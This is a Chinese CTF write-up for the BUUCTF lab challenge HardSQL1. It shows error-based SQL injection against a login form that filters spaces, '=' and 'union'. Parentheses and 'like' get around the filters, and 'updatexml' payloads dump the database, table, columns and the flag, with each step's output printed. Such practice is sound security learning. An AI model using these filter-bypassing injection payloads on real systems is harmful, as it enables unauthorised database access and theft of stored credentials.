BUUCTF在线评测-练习场-WebCTF习题[极客大挑战 2019]HardSQL1-flag获取、解析

发布于:2025-07-05 ⋅ 阅读:(23) ⋅ 点赞:(0)

解题思路

打开靶场、熟悉的感觉

 上次是过滤了很多字符,用了双写绕过进行注入即可,这次进阶了难度

先老规矩判断下闭合

1'1'
123

报错提示

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1'' and password='123'' at line 1

跟上次一样了前面的1'消失了,说明单引号被闭合,那么这里报错信息也是自动加了两个单引号,那么username和password的闭合都是单引号

永真登录尝试

1' or 1=1#
1' or 1=1#

 

明显做了过滤了,然后尝试了很多,union被过滤、by被过滤、=被过滤、空格也被过滤等等

尝试了双写绕过、大小写绕过也是没用的。这里先尝试绕过进行永真登录,=被过滤可以采取like替代,空格使用括号进行绕过

1'or((1)like(1))#
1'or((1)like(1))#

 

没啥用,没信息,只能回去慢慢注入,这里union被过滤了,联合注入用不了,其他注入什么堆叠,尝试了也不行,难度上升下一个就是盲注了,这里使用的是报错注入

使用updatexml(a,b,c)进行报错,a,c必须为字符,那我们可以让a,c输入数字进行报错

1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
123
XPATH syntax error: '~geek~'

 这里concat连接内容,0x7e就是波浪线,只是为了方便看输出添加,也可以添加其他字符。

这里可以看到爆出来数据库geek,接下来爆表,记得用括号代替空格,like代替等号即可

1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
123
XPATH syntax error: '~H4rDsq1~'

 爆出来了H4rDsq1,接下来爆该表的列

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
123
XPATH syntax error: '~id,username,password~'

 爆出来了三个列,接下来查数据

1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))#
123
XPATH syntax error: '~1flagflag{d82fb26e-0f01-42e7-80'

 得到了部分的flag,尝试只输出password

1'or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))#
XPATH syntax error: '~flag{d82fb26e-0f01-42e7-804f-bd'

还是不够,使用right输出右边的11个字符字符

1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,11))))from(H4rDsq1)),0x7e),1))#
123
XPATH syntax error: '~4a701dedc3}~'

然后拼接起来即可获取flag

flag{d82fb26e-0f01-42e7-804f-bd4a701dedc3}

总结

一道进阶到报错注入的一道题,难点在过滤字符上面吧,空格不太容易发现,可能在这里会浪费点时间,其他注入逻辑还是比较基础的。

下面这篇用爆破探测过滤字符的,挺有意思

非常经典的一道SQL报错注入题目[极客大挑战 2019]HardSQL 1(两种解法!)-腾讯云开发者社区-腾讯云


网站公告

今日签到

点亮在社区的每一天
去签到